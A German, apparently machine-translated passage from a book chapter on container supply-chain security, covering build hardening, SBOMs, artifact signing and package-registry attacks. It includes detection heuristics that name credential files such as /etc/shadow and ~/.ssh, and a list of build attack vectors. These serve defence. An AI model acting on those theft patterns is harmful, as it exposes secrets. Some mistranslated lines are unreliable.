Die Verwendung dieses Musters erfordert ausgefeilte DevOps-Fähigkeiten, kontinuierliche Integration und Build-Automatisierung und ist aufgrund der Kompartimentierung ideal für Container.

Tipp

DasDoD Software Factory-Pattern definiert die bewährten Methoden des Verteidigungsministeriums für den Aufbau einer sicheren, groß angelegten Cloud- oder On-Premise-Infrastruktur in der Cloud.

Die Container-Images, die für die DoD Software Factory erstellt wurden, sind im IronBank GitLab öffentlich zugänglich.

Das kryptografische Signieren von Build-Schritten und Artefakten kann das Vertrauen in das System erhöhen und kann mit einer Zulassungskontrolle wie portieris für Notary und Kritis für Grafeas revalidiert werden.

Tekton ist ein Kubernetes-basiertes Build-System, das Build-Schritte in Containern ausführt. Es führt Kubernetes Custom Resources aus, die Build-Schritte in Pods definieren, und Tekton Chains kann in-toto verwenden, um die Workspace-Dateien des Pods zu signieren. Jenkins X baut darauf auf und erweitert dessen Funktionsumfang.

Tipp

Dan Lorenc hat dieLandschaft der Lieferkettenunterzeichnung elegant zusammengefasst.

Blessed Image Factory

Einige Software Factory-Pipelines werden verwendet, um Basisbilder zu erstellen und zu scannen, und zwar auf die gleiche Weise, wie die Bilder virtueller Maschinen erstellt werden: in einem bestimmten Rhythmus und als Reaktion auf die Veröffentlichung des zugrunde liegenden Bildes. Ein Image-Build ist nicht vertrauenswürdig, wenn eine der Eingaben des Builds nicht vertrauenswürdig ist. Ein Angreifer kann einen Container-Build mit angreifen:

  • Bösartige Befehle in einer RUN Direktive, die den Host angreifen können

  • Nicht-Loopback-Netzwerk-Ports/Dienste des Hosts

  • Aufzählung anderer Netzwerkeinheiten (Cloud-Provider, Build-Infrastruktur, Netzwerkrouten zur Produktion)

  • Bösartiges FROM Image, das Zugriff auf Build Secrets hat

  • Bösartiges Bild mit der Richtlinie ONBUILD

  • Docker-in-Docker und eingehängte Container-Laufzeit-Sockets, die zu einem Host-Breakout führen können

  • Zero-Days in der Container-Laufzeit oder im Kernel

  • Angriffsfläche im Netzwerk (Host, Ports, die von anderen Builds offengelegt werden)

Um dich vor bösartigen Builds zu schützen, solltest du mit statischer Analyse unter Verwendung von Hadolint und conftest beginnen, um deine Richtlinien durchzusetzen. Zum Beispiel :

$ docker run --rm -i hadolint/hadolint < Dockerfile
/dev/stdin:3 DL3008 Pin versions in apt get install.
/dev/stdin:5 DL3020 Use COPY instead of ADD for files and folders

Conftest umhüllt OPA und führt Richtlinien in der Rego-Sprache aus (siehe "Open Policy Agent"):

$ conftest test --policy ./test/policy --all-namespaces Dockerfile
2 tests, 2 passed, 0 warnings, 0 failures, 0 exceptions

Wenn die Dockerdatei den Richtlinien entspricht, scanne den Container-Build-Workspace mit Tools wie trivy. Du kannst auch erst bauen und dann scannen, obwohl dies etwas riskanter ist, wenn ein Angriff eine Reverse Shell in die Build-Umgebung einschleust.

Wenn der Scan des Containers sicher ist, kannst du einen Build durchführen.

Tipp

Das Hinzufügen einer Härtungsstufe zum Dockerfile hilft dabei, unnötige Dateien und Binärdateien zu entfernen, die ein Angreifer auszunutzen versuchen könnte. wird im Container Hardening Guide des DoD ausführlich beschrieben.

Es ist wichtig, das Netzwerk des Builds zu schützen, da bösartiger Code in einem Container-Build sonst weitere Abhängigkeiten und bösartigen Code aus dem Internet ziehen kann. Sicherheit Kontrollen mit unterschiedlichem Schwierigkeitsgrad umfassen:

  • Verhinderung des Netzwerkaustritts

  • Isolierung vom Kernel des Hosts mit einer VM

  • Den Build-Prozess als Nicht-Root-Benutzer oder in einem Benutzer-Namensraum ausführen

  • Ausführen von RUN Befehlen als Nicht-Root-Benutzer im Container-Dateisystem

  • Teile nichts Unwichtiges mit dem build

Basisbilder

Wenn eine Anwendung für den Einsatz verpackt wird, muss sie in ein Container-Image eingebaut werden. Abhängig von der gewählten Programmiersprache und den Abhängigkeiten der Anwendung verwendet dein Container eines der Basisbilder ausTabelle 4-3.

Tabelle 4-3. Arten von Basisbildern
Art des Basisbildes Wie es gebaut ist Inhalt des Image-Dateisystems Beispiel Container-Image

Kratzt

Füge ein (oder mehrere) statische Binärdateien zu einem leeren Container-Root-Dateisystem hinzu.

Nichts außer /my-binary (das ist das einzige, was sich im Verzeichnis / befindet) und allen hinzugefügten Abhängigkeiten (oft CA-Bundles, Locale-Informationen, statische Dateien für die Anwendung).

Statische Golang oder Rust Binärbeispiele

Distroless

Füge eine (oder mehrere) statische Binärdatei(en) zu einem Container hinzu, der nur Gebietsschema- und CA-Informationen enthält (keine Bash, Busybox, etc.).

Nichts außer my-app, /etc/locale, TLS pubkeys, (plus alle Abhängigkeiten, wie bei Scratch), etc.

Statische Golang oder Rust Binärbeispiele

Gehärtet

Füge nichtstatische binäre oder dynamische Anwendungen zu einem Minimalcontainer hinzu, entferne dann alle unwichtigen Dateien und härte das Dateisystem.

Reduzierter Linux Userspace: glibc, /code/my-app.py, /code/deps, /bin/python, Python-Libs, statische Dateien für die Anwendung.

Webserver, nicht-statische oder komplexe Anwendungen, IronBank-Beispiele

Vanille

Keine Sicherheitsvorkehrungen, möglicherweise gefährlich.

Standard Linux Userspace. Root-Benutzer. Möglicherweise alles, was zum Installieren, Erstellen, Kompilieren oder Debuggen von Anwendungen erforderlich ist. Dies bietet viele Möglichkeiten für Angriffe.

NGINX, raesene/alpine-nettools, nicolaka/netshoot

Minimalcontainer minimieren die Angriffsfläche eines Containers auf einen feindlichen Prozess oder RCE, wodurch ein Angreifer auf sehr fortgeschrittene Tricks wie die rückkehrorientierte Programmierung angewiesen ist, die meisten Angreifer nicht beherrschen. Organisierte Kriminelle wie Dread Pirate Hashjack sind zwar in der Lage, diese Programmiertechniken zu nutzen, aber die Ausnutzung solcher Schwachstellen ist sehr wertvoll und wird wahrscheinlich eher an einen Exploit-Broker verkauft als vor Ort eingesetzt, was ihren Wert im Falle einer Entdeckung verringern könnte.

Da statisch kompilierte Binärdateien ihre eigene Systemaufrufbibliothek mitliefern, benötigen sie weder glibc noch eine andere Userspace-Kernelschnittstelle und können nur mit sich selbst im Dateisystem existieren (siehe Abbildung 4-5).

app-scratch-vs-glibc
Abbildung 4-5. Wie Scratch-Container und glibc mit dem Kernel kommunizieren

Lass uns jetzt einen Schritt zurückgehen: Wir müssen eine Bestandsaufnahme unserer Lieferkette machen.

Der Zustand deiner Container-Lieferketten

Anwendungen in Containern bündeln alle ihre Userspace-Abhängigkeiten mit ihnen, was es uns ermöglicht, die Zusammensetzung einer Anwendung zu untersuchen. Der Angriffsradius eines kompromittierten Containers ist geringer als bei einem Bare-Metal-Server (der Container bietet eine Sicherheitskonfiguration um die Namensräume herum), wird aber durch die hochgradige Parallelisierung einer Kubernetes-Workload-Bereitstellung verschärft.

Die sichere Einbindung von Drittanbieter-Code erfordert Vertrauen und die Überprüfung vonAbhängigkeiten im Vorfeld.

Kubernetes-Komponenten (Betriebssystem, Container, Konfiguration) sind selbst ein Lieferkettenrisiko. Kubernetes-Distributionen, die unsignierte Artefakte aus einer objektbasierten Speicherung (z. B. S3 und GCS) beziehen, haben keine Möglichkeit zu überprüfen, ob die Entwickler diese Container auch wirklich für den Betrieb vorgesehen haben. Alle Container mit einer "ausbruchsfreundlichen Konfiguration" (deaktivierte Sicherheitsfunktionen, fehlende Härtung, unüberwacht und ungesichert usw.) sind ein potenzielles Angriffsziel.

Das Gleiche gilt für unterstützende Anwendungen (Protokollierung/Überwachung, Beobachtbarkeit,IDS) - alles, was als Root installiert wird, nicht gehärtet ist oder nicht auf Kompromittierung ausgelegt ist, kann von feindlichen Kräften angegriffen werden.

Risiko durch Drittanbietercodes

Während der Erstellung des Images installiert deine Anwendung Abhängigkeiten in den Container, und dieselben Abhängigkeiten werden oft auch auf den Rechnern der Entwickler installiert. Dies erfordert die sichere Einbindung von Drittanbietern und Open Source Code.

Du legst Wert auf die Sicherheit deiner Daten, deshalb könnte es unsicher sein, Code aus dem Internet auszuführen, ohne ihn vorher zu überprüfen. Angreifer wie Captain Hashjack könnten eine Hintertür hinterlassen haben, um Fernzugriff auf jedes System zu ermöglichen, auf dem ihr bösartiger Code läuft. Du solltest das Risiko eines solchen Angriffs als ausreichend gering einschätzen, bevor du die Software im Unternehmensnetzwerk und auf den Produktionssystemen deines Unternehmens zulässt.

Eine Methode zum Scannen von eingelesenem Code ist in Abbildung 4-6 dargestellt. Container (und anderer Code), die von außerhalb deines Unternehmens stammen, werden aus dem Internet auf eine temporäre virtuelle Maschine gezogen. Alle Software-Signaturen und Prüfsummen werden überprüft, Binärdateien und Quellcode werden auf CVEs und Malware gescannt und das Artefakt wird verpackt und signiert, damit es in einer internen Registry verwendet werden kann.

Third-party code ingestion (detailed)
Abbildung 4-6. Einbindung von Drittanbieter-Code

In diesem Beispiel wird ein Container aus einer öffentlichen Registry auf CVEs gescannt, z. B. mit einem Tag für die interne Domain versehen, dann mit Notary signiert und in eine interne Registry verschoben, wo er von Kubernetes-Build-Systemen und deinen Entwicklern genutzt werden kann.

Wenn du Code von Drittanbietern aufnimmst, solltest du darauf achten, wer ihn veröffentlicht und/oder das Paket signiert hat, welche Abhängigkeiten er selbst nutzt, wie lange er veröffentlicht wurde und wie er in deinen internen statischen Analysepipelines abschneidet.

Tipp

Aqua's Dynamic Threat Analysis for Containers lässt potenziell gefährliche Container in einer Sandbox laufen, um ihr Verhalten auf Anzeichen von Bösartigkeit zu beobachten.

Das Scannen des Codes von Drittanbietern, bevor er in dein Netzwerk gelangt, schützt dich vor einigen Kompromittierungen der Lieferkette, aber gezielte Angriffe können schwieriger abzuwehren sein, da sie möglicherweise keine bekannten CVEs oder Malware verwenden. In diesen Fällen solltest du den Code im Rahmen deiner Validierung beobachten.

Software-Stücklisten

Die Erstellung einer Software Bill of Materials (SBOM) für ein Container-Image ist mit Tools wiesyft, das unterstützt APK, DEB, RPM, Ruby Bundles, Python Wheel/Egg/requirements.txt, JavaScript NPM/Yarn, Java JAR/EAR/WAR, Jenkins plugi-ns JPI/HPI und Go-Module, ganz einfach.

Es kann Ausgaben im CycloneDX XM Format erzeugen. Hier läuft es in einem Container mit einer einzelnen statischen Binärdatei:

user@host:~ [0]$ syft packages controlplane/bizcard:latest -o cyclonedx
Loaded image
Parsed image
Cataloged packages      [0 packages]
<?xml version="1.0" encoding="UTF-8"?>
<bom xmlns="http://cyclonedx.org/schema/bom/1.2"
    version="1" serialNumber="urn:uuid:18263bb0-dd82-4527-979b-1d9b15fe4ea7">
  <metadata>
    <timestamp>2021-05-30T19:15:24+01:00</timestamp>
    <tools>
      <tool>
        <vendor>anchore</vendor>   1
        <name>syft</name>          2
        <version>0.16.1</version>  3
      </tool>
    </tools>
    <component type="container">  4
      <name>controlplane/bizcard:latest</name> 5
      <version>sha256:183257b0183b8c6420f559eb5591885843d30b2</version> 6
    </component>
  </metadata>
  <components></components>
</bom>
1

Der Hersteller des Tools, das zur Erstellung der SBOM verwendet wird.

2

Das Werkzeug, das die SBOM erstellt hat.

3

Die Werkzeugversion.

4

Die zu scannende Komponente der Lieferkette und ihre Art des Behälters.

5

Der Name des Containers.

6

Die Version des Containers, ein SHA256 Content Hash oder Digest.

Eine Stückliste ist einfach eine Packliste für deine Software-Artefakte. Wenn wir das alpine:base Image aufrufen, sehen wir eine SBOM mit Softwarelizenzen (die Ausgabe wurde entsprechend angepasst):

user@host:~ [0]$ syft packages alpine:latest -o cyclonedx
 ✔ Loaded image
 ✔ Parsed image
 ✔ Cataloged packages      [14 packages]
<?xml version="1.0" encoding="UTF-8"?>
<bom xmlns="http://cyclonedx.org/schema/bom/1.2"
     version="1" serialNumber="urn:uuid:086e1173-cfeb-4f30-8509-3ba8f8ad9b05">
  <metadata>
    <timestamp>2021-05-30T19:17:40+01:00</timestamp>
    <tools>
      <tool>
        <vendor>anchore</vendor>
        <name>syft</name>
        <version>0.16.1</version>
      </tool>
    </tools>
    <component type="container">
      <name>alpine:latest</name>
      <version>sha256:d96af464e487874bd504761be3f30a662bcc93be7f70bf</version>
    </component>
  </metadata>
  <components>
  ...
  <component type="library">
      <name>musl</name>
      <version>1.1.24-r9</version>
      <licenses>
        <license>
          <name>MIT</name>
        </license>
      </licenses>
      <purl>pkg:alpine/musl@1.1.24-r9?arch=x86_64</purl>
    </component>
  </components>
</bom>

Diese überprüfbaren Artefakte können von Sicherheitstools für die Lieferkette wie cosign, in-toto und notary signiert werden. Wenn die Verbraucher verlangen, dass die Lieferanten überprüfbare Artefakte und Stücklisten aus ihren eigenen geprüften, konformen und sicheren Softwarefabriken produzieren, wird die Lieferkette für gelegentliche Angreifer schwieriger zu kompromittieren sein.

Warnung

Einem Angriff auf den Quellcode vor der Erstellung eines Artefakts oder der Generierung eines SBOMs daraus wird immer noch vertraut, selbst wenn er tatsächlich bösartig ist, wie bei SUNBURST. Deshalb muss die Build-Infrastruktur gesichert werden.

Menschliche Identität und GPG

Das Signieren von Git-Commits mit GNU Privacy Guard (GPG)-Signaturen zeigt an, dass der Besitzer des Schlüssels dem Commit zum Zeitpunkt der Signatur vertraut hat. Dies ist nützlich, um das Vertrauen zu erhöhen, erfordert aber eine Public-Key-Infrastruktur (PKI), die notorisch schwer zu sichern ist.

Daten zu signieren ist einfach - die Überprüfung ist schwierig.

Dan Lorenc

Das Problem bei PKI ist das Risiko einer Verletzung der PKI-Infrastruktur. Irgendjemand ist immer dafür verantwortlich, dass die Public-Key-Infrastruktur (die Server, auf denen die vertrauenswürdigen öffentlichen Schlüssel der einzelnen Personen gespeichert sind) nicht kompromittiert wird und korrekte Daten meldet. Wenn die PKI kompromittiert wird, kann eine ganze Organisation ausgenutzt werden, indem Angreifer vertrauenswürdigen Nutzern Schlüssel hinzufügen, die sie kontrollieren.

Signieren von Builds und Metadaten

Um den Ergebnissen deiner Build-Infrastruktur zu vertrauen, musst du sie signieren, damit die Verbraucher überprüfen können, ob sie von dir stammen. Das Signieren von Metadaten wie SBOMs ermöglicht es den Verbrauchern außerdem, Schwachstellen zu erkennen, wenn der Code in ihren Systemen eingesetzt wird. Die folgenden Tools helfen dir beim Signieren deiner Artefakte, Container oder Metadaten.

Notar v1

Notary ist das in Docker eingebaute Signiersystem und implementiert das Update Framework (TUF). Es wird für die Auslieferung von Software-Updates verwendet, war aber in Kubernetes nicht aktiviert, da alle Images signiert sein müssen, sonst werden sie nicht ausgeführt.portieris implementiert Notary stattdessen als Admission Controller für Kubernetes.

Notary v2 unterstützt die Erstellung mehrerer Signaturen für OCI-Artefakte und deren Speicherung in OCI-Bildregistern.

sigstore

sigstore ist ein öffentlicher Software-Signierungs- und Transparenzdienst, der Container mit cosign signieren und die Signaturen in einem OCI-Repository speichern kann, was in Notary v1 fehlt. Da alles in einem Container gespeichert werden kann (z. B. Binärdateien, Tarballs, Skripte oder Konfigurationsdateien), ist cosign ein allgemeines Artefakt-Signierungswerkzeug mit OCI als Paketformat.

sigstore bietet kostenlose Zertifikate und Werkzeuge, um Signaturen von Quellcode zu automatisieren und zu überprüfen.

sigstore release ankündigung

Ähnlich wie Certificate Transparency verfügt es über ein kryptografisches Ereignisbuch ( rekor genannt) und jedes Ereignis enthält signierte Metadaten über eine Softwareversion, wie in Abbildung 4-7 dargestellt. Und schließlich unterstützt es "eine kostenlose Root-CA für Code Signing Certs, d. h. die Ausstellung von Zertifikaten auf der Grundlage einer OIDC-E-Mail-Adresse" in fulcio. Gemeinsam verbessern diese Tools die Möglichkeiten der Sicherheitslandschaft in der Lieferkette drastisch.

Es ist für Open-Source-Software konzipiert und wird schnell weiterentwickelt. Es gibt Integrationen für TUF und in-toto, hardwarebasierte Token werden unterstützt und es ist mit den meisten OCI-Registern kompatibel.

sigstorewird zum Signieren der Distroless-Basisbild-Familie verwendet.

Storing sigstore manifests in the sigstore manifests into the rekor transparency log
Abbildung 4-7. Speichern von Sigstore-Manifesten im Rekor-Transparenzprotokoll

in-toto und TUF

Die in-toto Toolchain prüft Prüfsummen und signiert Software-Builds - die Schritte und Ergebnisse von CI/CD Pipelines. Dadurch werden transparente Metadaten über Software-Build-Prozesse bereitgestellt. Das erhöht das Vertrauen der Verbraucher, dass ein Artefakt aus einer bestimmten Quellcode-Revision erstellt wurde.

In-Toto-Link-Metadaten (die die Übergänge zwischen den Build-Phasen beschreiben und Metadaten über sie signieren) können von Tools wie Rekor und Grafeas gespeichert werden, um von den Verbrauchern zum Zeitpunkt der Nutzung validiert zu werden.

Die In-Toto-Signatur stellt sicher, dass eine vertrauenswürdige Partei (z. B. der Build-Server) diese Objekte erstellt und signiert hat. Es gibt jedoch keine Garantie dafür, dass die Schlüssel der Drittpartei nicht kompromittiert wurden - die einzige Lösung dafür ist, parallele, isolierte Build-Umgebungen zu betreiben und die kryptografischen Signaturen zu überprüfen. Dies geschieht mit reproduzierbaren Builds (in Debian, Arch Linux und PyPi), um gegen die Kompromittierung von Build-Tools gewappnet zu sein.

Dies ist nur möglich, wenn das CI und die Builds selbst deterministisch (keine Nebeneffekte des Builds) und reproduzierbar sind (dieselben Artefakte werden durch den Quellcode erzeugt). Wenn du dich auf zeitliches oder stochastisches Verhalten (Zeit und Zufall) verlässt, entstehen nicht reproduzierbare Binärdateien, da sie von Zeitstempeln in Logdateien oder zufälligen Seeds beeinflusst werden, die die Kompilierung beeinflussen.

Durch den Einsatz von in-toto erhöht ein Unternehmen das Vertrauen in seine Pipelines und Artefakte, da es für alles verifizierbare Signaturen gibt. Ohne ein objektives Bedrohungsmodell oder eine Sicherheitsbewertung der ursprünglichen Build-Infrastruktur bietet dies jedoch keinen Schutz für Lieferketten mit einem einzigen Build-Server, der möglicherweise kompromittiert wurde.

Produzenten, die in-toto mit Konsumenten arbeiten, die Signaturen verfälschen, machen Angreifern das Leben schwer. Sie müssen die Signierinfrastruktur vollständig kompromittieren (wie bei SolarWinds).

GCP Binäre Autorisierung

Die Funktion GCP Binary Authorization ermöglicht das Signieren von Images und die Zugangskontrolle, um zu verhindern, dass unsignierte, veraltete oder anfällige Images in die Produktion gelangen.

Die Überprüfung der erwarteten Signaturen zur Laufzeit ermöglicht die Durchsetzung der Pipeline-Kontrollen: Ist dieses Image frei von bekannten Schwachstellen oder hat es eine Liste "akzeptierter" Schwachstellen? Hat es die automatischen Akzeptanztests in der Pipeline bestanden? Stammt es überhaupt aus der Build-Pipeline?

Grafeas wird verwendet, um Metadaten von Bildscan-Berichten zu speichern, und Kritis ist eine Zulassungskontrolle, die Signaturen und das Fehlen von CVEs anhand der Bilder überprüft.

Grafeas

Grafeas ist ein Metadatenspeicher für Pipeline-Metadaten wie Schwachstellenscans und Testberichte. Die Informationen über einen Container werden anhand seines Digests aufgezeichnet, der verwendet werden kann, um über Schwachstellen der Images einer Organisation zu berichten und sicherzustellen, dass die Build-Phasen erfolgreich durchlaufen wurden. Grafeas kann auch In-To-Link-Metadaten speichern.

Infrastruktur Lieferkette

Es lohnt sich auch, darüber nachzudenken, dein Basisbild des Betriebssystems und den Ort, von dem aus du deine Kubernetes-Container und -Pakete installierst.

Einige Distributionen haben Kubernetes in der Vergangenheit modifiziert und neu gepackt, was ein weiteres Risiko für die Einschleusung von bösartigem Code in die Lieferkette darstellt. Entscheide auf der Grundlage deines anfänglichen Bedrohungsmodells, wie du damit umgehst, und richte deine Systeme und Netzwerke so ein, dass sie gegen Kompromisse gewappnet sind.

Operator Privilegien

Kubernetes-Operatoren sollen menschliche Fehler reduzieren, indem sie die Kubernetes-Konfiguration automatisieren und auf Ereignisse reagieren. Sie interagieren mit Kubernetes und allen anderen Ressourcen, die unter der Kontrolle des Operators stehen. Diese Ressourcen können sich in einem einzigen Namensraum, in mehreren Namensräumen oder außerhalb von Kubernetes befinden. Das bedeutet, dass sie oft sehr privilegiert sind, um diese komplexe Automatisierung zu ermöglichen, und daher ein gewisses Risiko mit sich bringen.

Ein Operator-basierter Angriff auf die Lieferkette könnte es Captain Hashjack ermöglichen, seine bösartigen Workloads diskret einzusetzen, indem er RBAC missbraucht, und eine abtrünnige Ressource könnte völlig unentdeckt bleiben. Obwohl dieser Angriff noch nicht weit verbreitet ist, hat er das Potenzial, eine große Anzahl von Clustern zu kompromittieren.

Du musst die Operatoren von Drittanbietern bewerten und auf ihre Sicherheit prüfen, bevor du ihnen vertraust: Schreibe Tests für ihre RBAC-Berechtigungen, damit du bei Änderungen gewarnt wirst, und stelle sicher, dass die Konfiguration eines Operators securityContext für die Arbeitslast geeignet ist.

Angriffe auf höhere Ebenen der Lieferkette

Um BCTL anzugreifen, kann Captain Hashjack in Erwägung ziehen, die Organisationen anzugreifen, die seine Software bereitstellen, wie z. B. Betriebssysteme, Anbieter und Open-Source-Pakete. Deine Open-Source-Bibliotheken können ebenfalls Schwachstellen aufweisen. Die verheerendste davon war in der Vergangenheit ein Apache Struts RCE, CVE-2017-5638.

Vertrauenswürdige Open-Source-Bibliotheken können "backdoored" worden sein (z. B. dasNPM-Paketevent-stream ) oder aus der Registrierung entfernt worden sein, während sie aktiv genutzt wurden, wie z. B. left-pad (obwohl die Registrierungsstellen jetzt versuchen, dies zu vermeiden, indem sie das "Unpublishing" von Paketen verhindern).

Hinweis

CVE-2017-5638 betraf Apache Struts, ein Java-Webframework.

Der Server hat die Content-Type HTTP-Header nicht korrekt geparst, wodurch beliebige Befehle im Prozess-Namensraum als Benutzer des Webservers ausgeführt werden konnten.

Struts 2 hat eine Reihe von kritischen Sicherheitslücken,[3] von denen viele mit der OGNL-Technologie zusammenhängen;[4] einige Schwachstellen können zur Ausführung von beliebigem Code führen.

Wikipedia

Code, der von Anbietern verteilt wird, kann kompromittiert werden, wie esbei Codecov der Fall war. Ein Fehler im Prozess zur Erstellung von Container-Images ermöglichte es einem Angreifer, ein Bash-Uploader-Skript zu verändern, das von Kunden ausgeführt wird, um Builds zu starten. Dieser Angriff kompromittierte Build Secrets, die dann gegen andere Systeme verwendet werden konnten.

Tipp

Die Zahl der Organisationen, die Codecov nutzen, war beachtlich. Die Suche nach Git-Repos mit grep.app ergab über 9.200 Ergebnisse in den 500.000 öffentlichen Git-Repos. GitHub zeigt 397.518 Code-Ergebnisse zum Zeitpunkt der Erstellung dieses Artikels.

Schlecht geschriebener Code, der bei nicht vertrauenswürdigen Benutzereingaben oder internen Fehlern fehlschlägt, kann aus der Ferne ausnutzbare Schwachstellen aufweisen. Die Anwendungssicherheit ist dafür verantwortlich, diesen einfachen Zugang zu deinen Systemen zu verhindern.

Die branchenweit anerkannte Bezeichnung für diese ist "shift left", was bedeutet, dass du den von deinen Entwicklern geschriebenen Code statisch und dynamisch analysieren solltest, während sie ihn schreiben: Füge der IDE automatisierte Werkzeuge hinzu, biete einen lokalen Sicherheitstest-Workflow an, führe Konfigurationstests vor der Bereitstellung durch und überlasse Sicherheitsüberlegungen im Allgemeinen nicht dem letztmöglichen Moment, wie es bei Software üblich ist.

Arten von Angriffen auf die Lieferkette

TAG Security's Catalog of Supply Chain Compromises listet Angriffe auf, die Pakete mit Millionen von wöchentlichen Downloads über verschiedene Anwendungsabhängigkeits-Repositories und Anbieter und Hunderte von Millionen vonGesamtinstallationen betreffen.

Die Downloads der beliebtesten Schadpakete (event-stream-190 Mio., eslint-scope-442 Mio., bootstrap-sass-30 Mio. und rest-client-114 Mio.) belaufen sich auf insgesamt 776 Mio., einschließlich der gutartigen und bösartigen Versionen.

"Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages"

In dem zitierten Papier identifizieren die Autoren vier Akteure in der Open-Source-Lieferkette :

  • Registry Maintainer (RMs)

  • Paketbetreuer (PMs)

  • Entwickler (Devs)

  • Endnutzer (Benutzer)

Diejenigen, die Kunden haben, sind dafür verantwortlich, den Code, den sie an ihre Kunden weitergeben, zu verifizieren und verifizierbare Metadaten bereitzustellen, um Vertrauen in die Artefakte zu schaffen.

Es gibt viel zu verteidigen, um sicherzustellen, dass die Nutzer ein vertrauenswürdiges Artefakt erhalten(Tabelle 4-4):

  • Quellcode

  • Infrastruktur für Veröffentlichungen

  • Entwicklung von Werkzeugen

  • Böswilliger Maintainer

  • Nachlässigkeit

  • Gefälschte Toolchain

  • Wasserloch-Angriff

  • Mehrere Schritte

Registry-Maintainer sollten die Veröffentlichungsinfrastruktur vor Typosquattern schützen: Personen, die ein Paket registrieren, das einem weit verbreiteten Paket ähnlich sieht.

Tabelle 4-4. Beispiele für Angriffe auf die Veröffentlichungsinfrastruktur
Angriff Paketname Typosquattered Name

Typosquatting

Event-Stream

Eventstream

Anderes Konto

Benutzer/Paket

usr/package, user_/package

Combosquatting

Paket

Paket-2, Paket-ng

Kontoübernahme

Benutzer/Paket

Benutzer/Paket - keine Änderung, da der Benutzer vom Angreifer kompromittiert wurde

Social Engineering

Benutzer/Paket

Benutzer/Paket - keine Änderung, da der Benutzer dem Angreifer bereitwillig Zugriff auf das Repository gegeben hat

Wie Abbildung 4-8 zeigt, birgt die Lieferkette eines Paketmanagers viele Risiken.

Simplified relationships of stakeholders and threats in the package manager ecosystem
Abbildung 4-8. Vereinfachte Beziehungen zwischen den Akteuren und Bedrohungen im Ökosystem der Paketmanager (Quelle: "Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages")

Open Source Ingestion

Diese Detailgenauigkeit kann anstrengend werden, wenn sie auf jedes einzelne Paket angewendet wird, und wird im großen Maßstab schnell unpraktisch. Ein Netz des Vertrauens zwischen Herstellern und Verbrauchern kann die Last der doppelten Überprüfung der Beweise in jedem Glied der Kette etwas verringern. Allerdings kann nichts vollständig vertrauenswürdig sein, und eine regelmäßige Überprüfung des Codes ist notwendig, um neu bekannt gewordene CVEs oder Zero-Days zu berücksichtigen.

In "Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages" (Zur Messung von Angriffen auf Paketmanager für interpretierte Sprachen) identifizieren die Autoren die in Tabelle 4-5 aufgelisteten relevanten Probleme.

Tabelle 4-5. Heuristische Regeln, abgeleitet aus bestehenden Angriffen auf die Lieferkette und anderen Malware-Studien
Typ Beschreibung

Metadaten

Der Name des Pakets ähnelt den bekannten Namen in derselben Registry.

Der Paketname ist derselbe wie bei beliebten Paketen in anderen Registern, aber die Autoren sind unterschiedlich.

Das Paket hängt von bekannter Malware ab oder hat gemeinsame Autoren mit ihr.

Das Paket hat ältere Versionen, die um diese Zeit als bekannte Malware veröffentlicht wurden.

Das Paket enthält Windows PE-Dateien oder Linux ELF-Dateien.

Statisch

Das Paket hat eine angepasste Installationslogik.

Das Paket fügt Netzwerk-, Prozess- oder Codegenerierungs-APIs in kürzlich veröffentlichten Versionen hinzu.

Das Paket hat Flüsse von Dateisystemquellen zu Netzwerksenken.

Das Paket hat Flüsse von Netzwerkquellen zur Codeerzeugung oder Prozesssenken.

Dynamisch

Das Paket kontaktiert unerwartete IPs oder Domains, während es sich bei den erwarteten um offizielle Registrierungsstellen und Code-Hosting-Dienste handelt.

Das Paket liest von sensiblen Dateispeicherorten wie /etc/shadow, /home/<user>/.ssh, /home/<user>/.aws.

Das Paket schreibt in sensible Dateispeicher wie /usr/bin, /etc/sudoers, /home/<user>/.ssh/authorized_keys.

Das Paket erzeugt unerwartete Prozesse, während die erwarteten Prozesse für Registry-Clients (z. B. pip) initialisiert werden.

Das Papier fasst zusammen, dass:

  • Typosquatting und Account-Kompromittierung sind für Angreifer kostengünstig und die am häufigsten genutzten Angriffsvektoren.

  • Das Stehlen von Daten und das Einschleusen von Hintertüren sind die häufigsten böswilligen Verhaltensweisen nach einem Exploit, was darauf hindeutet, dass viele Verbraucher betroffen sind.

  • 20 % der identifizierten Schadprogramme haben sich in den Paketmanagern mehr als 400 Tage lang gehalten und mehr als 1.000 Downloads verzeichnet.

  • Zu den neuen Techniken gehören Codeverschleierung, mehrstufige Nutzlasten und Logikbomben, um die Entdeckung zu umgehen.

Außerdem ist es unwahrscheinlich, dass Pakete mit einer geringeren Anzahl von Installationen schnell auf eine gemeldete Kompromittierung reagieren, wie Abbildung 4-9 zeigt. Es könnte sein, dass die Entwickler nicht dafür bezahlt werden, diese Open-Source-Pakete zu betreuen. Die Schaffung von Anreizen für diese Betreuer mit gut geschriebenen Patches und rechtzeitiger Unterstützung beim Einbinden dieser Patches oder finanzielle Unterstützung für die Bearbeitung von Meldungen im Rahmen eines Bug Bounty-Programms sind wirksame Möglichkeiten, um Schwachstellen in beliebten, aber selten betreuten Paketen zu verringern.

haku 0409
Abbildung 4-9. Korrelation zwischen der Anzahl der Persistenztage und der Anzahl der Downloads (R&R = Reported and Removed; R&I = Reported and Investigating) (Quelle: "Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages")

Schwachstellen in der Anwendung während des SDLC

Der Softwareentwicklungszyklus (SDLC) ist der Weg einer Anwendung vom ersten Gedanken eines Entwicklers bis zur sicheren Erstellung und Bereitstellung auf Produktionssystemen.

Wenn Anwendungen von der Entwicklung zur Produktion übergehen, haben sie ein unterschiedliches Risikoprofil, wie Tabelle 4-6 zeigt.

Tabelle 4-6. Anwendungsschwachstellen während des SDLC
Phase des Systemlebenszyklus Höheres Risiko Geringeres Risiko

Von der Entwicklung zur Produktion

Anwendungscode (ändert sich häufig)

Anwendungsbibliotheken, Pakete für das Betriebssystem

Etablierter Produktionseinsatz bis zur Stilllegung

Langsam zerfallende Anwendungsbibliotheken und Betriebssystempakete

Anwendungscode (ändert sich weniger häufig)

Das Risikoprofil einer Anwendung, die in der Produktion läuft, ändert sich mit zunehmender Lebensdauer, da die Software immer veralteter wird. Dies wird als "Reverse Uptime" bezeichnet - die Korrelation zwischen dem Risiko, dass eine Anwendung kompromittiert wird, und der Zeit seit ihrer Bereitstellung (z. B. dem Datum des Builds des Containers). Die durchschnittliche Rückwärtsverfügbarkeit in einem Unternehmen kann auch als "mittlere Zeit bis ..." bezeichnet werden:

  • Kompromittierung (Anwendung hat eine aus der Ferne ausnutzbare Schwachstelle)

